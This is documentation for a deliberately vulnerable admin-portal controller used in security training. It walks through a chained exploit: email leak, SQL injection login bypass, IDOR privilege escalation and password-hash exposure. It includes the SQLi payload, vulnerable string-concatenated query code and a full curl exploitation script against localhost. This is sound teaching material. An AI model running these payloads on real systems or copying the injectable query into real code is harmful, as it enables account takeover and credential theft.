Skip to content

API — Hidden admin portal (S10-S12)

This page documents AdminPortalController, mounted under /api/admin/portal. It is an intentionally vulnerable controller used exclusively in teaching to illustrate the Security chaos S10, S11 and S12 faults.

Vulnerable pedagogical endpoints

All endpoints on this page are faults crafted on purpose for training. They must never be exposed in production without the security chaos — and even in teaching they are only active at level 4 (Master).

These faults illustrate a full chained OWASP scenario: anonymous enumeration → authentication bypass → privilege escalation.


The "invisible portal" guard

All endpoints of this controller start with the same check:

private boolean isPortalActive() {
    return securityChaosService.isAdminPortalVulnerable();
    // true only if level == 4 (Master)
}

private ResponseEntity<Void> portalNotFound() {
    return ResponseEntity.status(404).build();  // intentionally empty body
}

In Security chaos level 0, 1, 2 or 3, all /api/admin/portal/* endpoints return 404 Not Found with an empty body. The portal is invisible — even a fuzzer cannot detect that it exists. This behavior is essential to the pedagogical value: the student must find the portal through progressive discovery, at the moment the instructor enables the Master level.

In Security chaos level 4 (Master), the endpoints become active and respond to the faults documented below.

No ChaosInterceptor modification

The controller is declared on /api/admin/portal and is naturally excluded from the ChaosInterceptor (which does not intercept /api/admin/* endpoints). The portal faults therefore work even when Performance chaos saturates the rest of the backend — useful behavior so that a student can keep exploiting the portal during a saturation demonstration.


The chained exploitation scenario

The three faults are designed to be exploited in this order by the student:

flowchart TB
    A[Student<br/>fuzzing] -->|1. discovers /admin<br/>in React| B[AdminPortal.jsx page]
    B -->|2. GET /api/admin/portal/stats| C[S10 — Stats without auth<br/>retrieves superadmin email]
    C -->|3. POST /api/admin/portal/login<br/>SQLi payload| D[S11 — SQLi bypass<br/>obtains adminToken]
    D -->|4. Valid X-Admin-Token for<br/>chaos-admin + monitoring| E[Partial access]
    E -->|5. PUT .../accounts/1/promote| F[S12 — IDOR privesc<br/>becomes superAdmin]
    F -->|6. GET .../accounts| G[Lists all accounts<br/>with passwordHash]

Each fault unlocks the next — this is not a list of independent bugs, it is a pedagogical kill chain illustrating how "minor" faults combine into full compromise.


Overview

# Method Endpoint Auth OWASP fault
1 GET /api/admin/portal/stats None 🚨 S10 — Broken Access Control (A09)
2 POST /api/admin/portal/login None 🚨 S11 — Injection (A03)
3 PUT /api/admin/portal/accounts/{id}/promote Session or admin token 🚨 S12 — IDOR / Privesc (A01)
4 GET /api/admin/portal/accounts Token + superadmin in DB 🚨 S12 — passwordHash exposure (A02)

GET /api/admin/portal/stats — S10

Exposes statistics and the superadmin email with no authentication.

Auth: none 🚨 Activation: Security chaos level 4 OWASP: A09 — Broken Access Control Controller: AdminPortalController.getPortalStats()

Request

GET /api/admin/portal/stats HTTP/1.1

No header or body required.

Response — 200 OK (level 4)

{
  "userCount": 127,
  "orderCount": 4512,
  "productCount": 89,
  "adminContact": "admin@perfshop.fr",
  "version": "PerfShop Portal v1.0",
  "status": "operational"
}

The fault

The adminContact field contains the superadmin email — dynamically extracted from the admin_users table via findByIsSuperAdminTrue(). This field is not a configuration parameter: it is a real structural data leak. The student learns that:

  • A "harmless" endpoint (public stats) can expose sensitive data
  • An admin account email is the first link in any targeted attack
  • A /portal, /status, /stats pattern without auth is a classic red flag in audit

Response — 404 Not Found (levels 0-3)

Empty body, no distinctive headers. It is impossible to guess that the endpoint exists.

Logging

When level 4 is active, every call is logged by SecurityChaosService.recordPortalStatsAccess(clientIp) and appears in activityLog with the source IP. The instructor can follow in real time the students who have found the portal.


POST /api/admin/portal/login — S11

Admin login vulnerable to SQL injection via concatenated native query.

Auth: none 🚨 Activation: Security chaos level 4 OWASP: A03 — Injection Controller: AdminPortalController.portalLogin()

Request

{
  "email": "admin' OR '1'='1' --",
  "password": "ignored"
}

The password field is intentionally ignored by the fault — the bypass goes solely through the payload in email.

The vulnerable query

The code executes:

String sql = "SELECT * FROM admin_users WHERE email = '" + emailPayload + "' LIMIT 1";
entityManager.createNativeQuery(sql, AdminUser.class).getResultList();

Pure string concatenation — no PreparedStatement. The classic payload admin' OR '1'='1' -- transforms the query into:

SELECT * FROM admin_users WHERE email = 'admin' OR '1'='1' --' LIMIT 1

The -- comments out the rest, the OR '1'='1' is always true, and the first row of admin_users is returned — typically the superadmin.

Response — 200 OK (successful bypass)

{
  "success": true,
  "adminToken": "c3e4f5a6-7b8c-9d0e-1f2a-3b4c5d6e7f8a",
  "email": "admin@perfshop.fr",
  "isSuperAdmin": true,
  "portal": true
}

Critical consequence

The returned token is injected into the VALID_ADMIN_TOKENS map via AdminController.addValidToken(token, email). From this point on, the token is indistinguishable from one obtained through legitimate login. The student can use it to:

  • Drive Admin chaos (/api/admin/chaos/*)
  • Access monitoring (/api/admin/status)
  • Manage products and users (/api/admin/products, /users)

The portal: true flag is purely cosmetic — used by the AdminPortal frontend to display a "portal mode" banner. It has no impact on backend authentication.

Bypass detection

The code determines bypassed = true when the payload does not look like a legitimate email:

boolean isRealEmail = emailPayload.contains("@") && !emailPayload.contains("'");
bypassed = !isRealEmail;

This heuristic distinguishes a real SQLi attempt (admin' OR '1'='1' --) from a normal login failure (typo@example.com). The flag is logged by securityChaosService.recordPortalSqliAttempt(payload, bypassed).

Response — 401 Unauthorized

  • If the native query fails (malformed SQL error)
  • If no row is returned (syntactically correct payload but empty result)
{ "error": "Invalid credentials" }

Response — 404 Not Found

At level < 4, empty body.


PUT /api/admin/portal/accounts/{id}/promote — S12 (elevation)

Promotes an admin account to superadmin without checking whether the requester is a superadmin themselves. This is an IDOR (Insecure Direct Object Reference) combined with the absence of a privilege check.

Auth: AdminAuth.isAdmin(session, tok) — session cookie or X-Admin-Token header accepted 🚨 Activation: Security chaos level 4 OWASP: A01 — Broken Access Control Controller: AdminPortalController.promoteAccount()

The fault

The code performs a single authentication check, then modifies the database:

if (!AdminAuth.isAdmin(session, tok)) {
    return ResponseEntity.status(401)
        .body(Map.of("error", i18n.t("portal.error.token_required")));
}
// FAULT: the isSuperAdmin check is intentionally absent
// An ordinary admin (or a token obtained via S11) can promote any account
target.setSuperAdmin(true);

In AdminController.updateRights() (the legitimate endpoint), the isSuperAdmin(session) check is present and enforced. Here it is absent — authorization control stops at "valid session or token", which is insufficient for a privilege elevation operation.

Error codes

Code Body Cause
401 {"error": "Token required"} Neither admin session nor valid X-Admin-Token (key portal.error.token_required)
404 {"error": "Account not found"} No AdminUser with this id (key portal.error.account_not_found)
404 (empty body) Security chaos level < 4 — invisible portal

Request

PUT /api/admin/portal/accounts/1/promote HTTP/1.1
X-Admin-Token: <token obtained via S11>

No body required — the only useful parameter is id in the path.

Response — 200 OK

{
  "success": true,
  "id": 1,
  "email": "admin@perfshop.fr",
  "isSuperAdmin": true,
  "message": "Account promoted to superAdmin successfully"
}

Database side effects

The target account sees all its privilege flags set to true:

target.setSuperAdmin(true);
target.setCanAccessChaos(true);
target.setCanAccessMonitoring(true);
target.setCanAccessAdmin(true);
adminUserRepository.save(target);

This modification is persisted in the database. It survives a backend restart, and can only be undone by accessing MySQL directly or by modifying another superadmin account via PUT /api/admin/accounts/{id}/rights (which is reserved for superadmins — but the attacker is one now).

Restoring after a demo

After a Master-level demo in training, it is necessary to restore the initial state of accounts. The instructor can:

  1. Reset the database via docker compose down -v && docker compose up
  2. Or manually modify admin_users in SQL
  3. Or use POST /api/admin/chaos/security/reset which does not reset DB modifications — only rows are persistent.

Logging

The elevation is logged by securityChaosService.recordPrivilegeEscalation(requesterId, targetId) with both IDs. The log appears in activityLog at WARN level:

[Portal][S12] PRIVILEGE ELEVATION — account #1 (admin@perfshop.fr) promoted to superAdmin

GET /api/admin/portal/accounts — S12 (passwordHash exposure)

Lists all admin accounts with their BCrypt hashes — the final step of the scenario.

Auth: two distinct checks performed in this order 🚨 1. X-Admin-Token present and valid (in VALID_ADMIN_TOKENS) → otherwise 401 2. The account associated with the token is isSuperAdmin = true in the database → otherwise 403

Activation: Security chaos level 4

Why two steps?

The isSuperAdmin check is read from the DB (adminUserRepository.findByEmail(tokenEmail)), not from the session. This is essential to the pedagogical scenario: the student first exploits S11 to obtain a token (which corresponds to a non-superadmin account), then exploits S12 to mutate the database and promote that account. From that moment on, the existing token becomes eligible for /accounts without needing to log in again — the simple DB re-read on the next call recognizes it as superadmin.

Request

GET /api/admin/portal/accounts HTTP/1.1
X-Admin-Token: <token of an account already promoted via S12>

Response — 200 OK

{
  "accounts": [
    {
      "id": 1,
      "email": "admin@perfshop.fr",
      "isSuperAdmin": true,
      "canAccessChaos": true,
      "canAccessMonitoring": true,
      "canAccessAdmin": true,
      "passwordHash": "$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy",
      "createdAt": "2024-01-01T00:00:00Z"
    },
    {
      "id": 2,
      "email": "trainer@perfshop.fr",
      "isSuperAdmin": false,
      "passwordHash": "$2a$10$...",
      "..."
    }
  ],
  "count": 2
}

passwordHash exposed

The passwordHash field is included in the response — it contains the full BCrypt hash of each admin account. Unlike S3 (which exposes the hash of a single logged-in user), S12 exposes all admin hashes at once, enabling an offline dictionary attack against the superadmin.

Response — 401 Unauthorized

If the X-Admin-Token header is absent or invalid:

{ "error": "Token required" }

Response — 403 Forbidden

If the token is valid but the associated account is not yet superadmin:

{
  "error": "Restricted to superAdmin",
  "hint": "Exploit S12 first — PUT /api/admin/portal/accounts/{id}/promote"
}

The hint field is intentional: it guides the student to the missing step. This pedagogical help is always displayed when the S12 fault is active — it is independent of the hintsEnabled toggle of pedagogical journeys, which concerns only BAC enigmas. For S12, the hint is considered essential to the scenario's progression.

Response — 404 Not Found

At level < 4, empty body.


curl example — full exploitation

# ═══════════════════════════════════════════════════════
# PREREQUISITE: Security chaos level 4 (Master) active
# The instructor has enabled it via /api/admin/chaos/security
# ═══════════════════════════════════════════════════════

# 1. S10 — Discover the superadmin email
ADMIN_EMAIL=$(curl -s http://localhost:9080/api/admin/portal/stats | jq -r '.adminContact')
echo "Superadmin email: $ADMIN_EMAIL"

# 2. S11 — SQLi bypass to obtain a token
TOKEN=$(curl -s -H "Content-Type: application/json" \
  -d "{\"email\":\"admin' OR '1'='1' --\",\"password\":\"bogus\"}" \
  http://localhost:9080/api/admin/portal/login | jq -r '.adminToken')
echo "Token obtained: $TOKEN"

# 3. S12 — Promote account id=1 (the superadmin itself, to be safe)
curl -H "X-Admin-Token: $TOKEN" \
     -X PUT \
     http://localhost:9080/api/admin/portal/accounts/1/promote

# 4. S12 cont. — List accounts with passwordHash
curl -H "X-Admin-Token: $TOKEN" \
     http://localhost:9080/api/admin/portal/accounts | jq

Pedagogical value

This controller is a complete case study for application security training. It illustrates:

  1. Failed defense in depth — The portal has three distinct faults, each unlocking the next. None of them is individually catastrophic, but their chaining is.

  2. OWASP Top 10 applied — The three positions A01 (Broken Access Control), A03 (Injection) and A09 (Security Logging) are exploited on a minimal perimeter of 4 endpoints.

  3. Enumeration > exploitation — The value of S10 lies in the information (admin email), not in direct access. This is typical of real pentests.

  4. IDOR vs access control — S12 is not an authentication fault (the token is correctly verified), but an authorization fault (the isSuperAdmin privilege is not checked). This distinction is often misunderstood by beginners.

  5. Persistence vs volatility — S10 and S11 have no persistent effect (tokens in RAM), but S12 modifies the database permanently. The student learns that a runtime compromise can have consequences beyond the restart.


Monitoring detection

All attempts are logged in SecurityChaosService's activityLog with the following i18n keys:

Endpoint Log key
GET /stats chaos.security.s10.log_detail
POST /login (success) chaos.security.s11.log_success
POST /login (attempt) chaos.security.s11.log_attempt
PUT /promote chaos.security.s12.log_detail

The "Security" Grafana dashboard displays a perfshop_security_<fault>_total counter that increments on every exploitation. See chaos metrics.